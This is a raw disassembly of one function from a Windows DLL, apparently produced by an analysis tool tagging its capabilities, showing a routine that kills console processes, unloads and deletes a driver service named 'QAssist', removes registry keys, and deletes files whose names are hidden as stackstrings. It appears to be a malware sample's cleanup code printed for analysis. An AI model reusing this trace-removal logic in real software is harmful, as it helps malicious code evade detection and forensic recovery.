Function at 0x100124a0
Capabilities:
Contain obfuscated stackstrings
Delete file
Delete registry key
Delete service
Get common file path
Terminate process

Disassembly:
sub esp, 0x640
push ebx
push ebp
push esi
push edi
call fcn.10012390
mov eax, dword [0x10132b4c]
mov edi, dword [eax]
cmp edi, eax
je 0x100125c5
mov eax, dword [edi + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_AttachConsole]
push eax
call esi
test eax, eax
jne 0x100124e0
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [edi + 0xc]
push ecx
call esi
test eax, eax
je 0x100124ce
mov ebp, dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
lea edx, [esp + 0x40]
push 1
push edx
call ebp
mov esi, eax
cmp esi, 1
jbe 0x1001255b
lea eax, [esi*4]
push eax
call sub.MFC42.DLL_operatornew
add esp, 4
mov ebx, eax
mov dword [esp + 0x34], ebx
push esi
push ebx
call ebp
test esi, esi
jbe 0x10012552
mov ebp, esi
mov esi, dword [ebx]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, eax
je 0x10012548
cmp esi, dword [edi + 0xc]
je 0x10012548
push esi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10012548
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add ebx, 4
dec ebp
jne 0x10012516
mov ebx, dword [esp + 0x34]
push ebx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_FreeConsole]
call esi
test eax, eax
jne 0x10012575
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
test eax, eax
je 0x10012567
mov ecx, dword [edi + 0x10]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [edi + 8]
mov edx, dword [0x10131148]
cmp ecx, edx
je 0x100125a0
mov eax, dword [ecx]
cmp eax, edx
je 0x1001259c
mov ecx, eax
mov eax, dword [ecx]
cmp eax, edx
jne 0x10012594
mov edi, ecx
jmp 0x100125b9
mov eax, dword [edi + 4]
cmp edi, dword [eax + 8]
jne 0x100125b2
mov edi, eax
mov eax, dword [eax + 4]
cmp edi, dword [eax + 8]
je 0x100125a8
cmp dword [edi + 8], eax
je 0x100125b9
mov edi, eax
cmp edi, dword [0x10132b4c]
jne 0x100124be
mov eax, dword [0x101326e8]
test eax, eax
je 0x100125d7
push eax
call fcn.1005fbd0
add esp, 4
push 1
push str.SeLoadDriverPrivilege
call fcn.1001d8c0
push 0x10100668
push str.NTDLL.DLL
call fcn.1001d6c0
push str.ZwUnloadDriver
push str.NTDLL.DLL
mov esi, eax
call fcn.1001d6c0
mov edx, dword [str.QAssist]
mov edi, eax
push edx
lea eax, [esp + 0x46c]
push str.RegistryMachineSystemCurrentControlSetServices_S
push eax
call dword [sym.imp.MSVCRT.dll_swprintf]
add esp, 0x24
lea ecx, [esp + 0x450]
lea edx, [esp + 0x38]
push ecx
push edx
call esi
lea eax, [esp + 0x38]
push eax
call edi
push 0
push str.SeLoadDriverPrivilege
call fcn.1001d8c0
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x148]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x148]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [str.QAssist]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x148]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x100126f1
push 0x10000
push 0x1013186c
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x100126ee
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call ebx
push esi
call ebx
push 3
push 0
push 0
push 0
push str.MarkTime
push str.SYSTEMSelect
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.10017030
push 3
push 0
push 0
push 0
push str.Host
push str.SYSTEMSetup
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.10017030
push 3
push 0
push 0
push 0
push 0x101318d8
push str.SYSTEMCurrentControlSetServicesBITS
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.10017030
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
add esp, 0x54
lea ecx, [esp + 0x34c]
mov bl, 0x6c
mov al, 0x69
push 0x104
push ecx
mov byte [esp + 0x24], 0x5c
mov byte [esp + 0x25], 0x62
mov byte [esp + 0x26], 0x50
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x75
mov byte [esp + 0x29], 0x67
mov byte [esp + 0x2a], al
mov byte [esp + 0x2b], 0x6e
mov byte [esp + 0x2c], 0x56
mov byte [esp + 0x2d], al
mov byte [esp + 0x2e], 0x64
mov byte [esp + 0x2f], 0x65
mov byte [esp + 0x30], 0x6f
mov byte [esp + 0x31], 0x2e
mov byte [esp + 0x32], 0x64
mov byte [esp + 0x33], bl
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x1c]
lea eax, [esp + 0x34c]
push edx
push eax
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x34c]
push ecx
call ebp
lea edx, [esp + 0x248]
push 0x104
push edx
mov byte [esp + 0x18], 0x5c
mov byte [esp + 0x19], 0x6d
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x6f
mov byte [esp + 0x1c], 0x67
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x2e
mov byte [esp + 0x1f], 0x64
mov byte [esp + 0x20], 0x61
mov byte [esp + 0x21], 0x74
mov byte [esp + 0x22], 0
call esi
lea eax, [esp + 0x10]
lea ecx, [esp + 0x248]
push eax
push ecx
call edi
lea edx, [esp + 0x248]
push edx
call ebp
mov eax, dword [0x10132b60]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [0x10132b70]
mov esi, dword [sym.imp.MSVCRT.dll_free]
push ecx
call esi
mov edx, dword [0x10132b74]
push edx
call esi
add esp, 8
lea eax, [esp + 0x44]
mov dword [esp + 0x30], 0
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [esp + 0x30]
lea edx, [esp + 0x44]
test eax, eax
mov edi, str._sysnativedrivers_
jne 0x100128a0
mov edi, str._system32drivers_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x44]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [str.QAssist]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x44]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..sys
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x44]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebp
mov eax, dword [0x101326f8]
pop edi
pop esi
pop ebp
test eax, eax
pop ebx
je 0x10012948
push 0x10131850
push eax
mov dword [0x10131854], 1
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
call fcn.10021eb0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]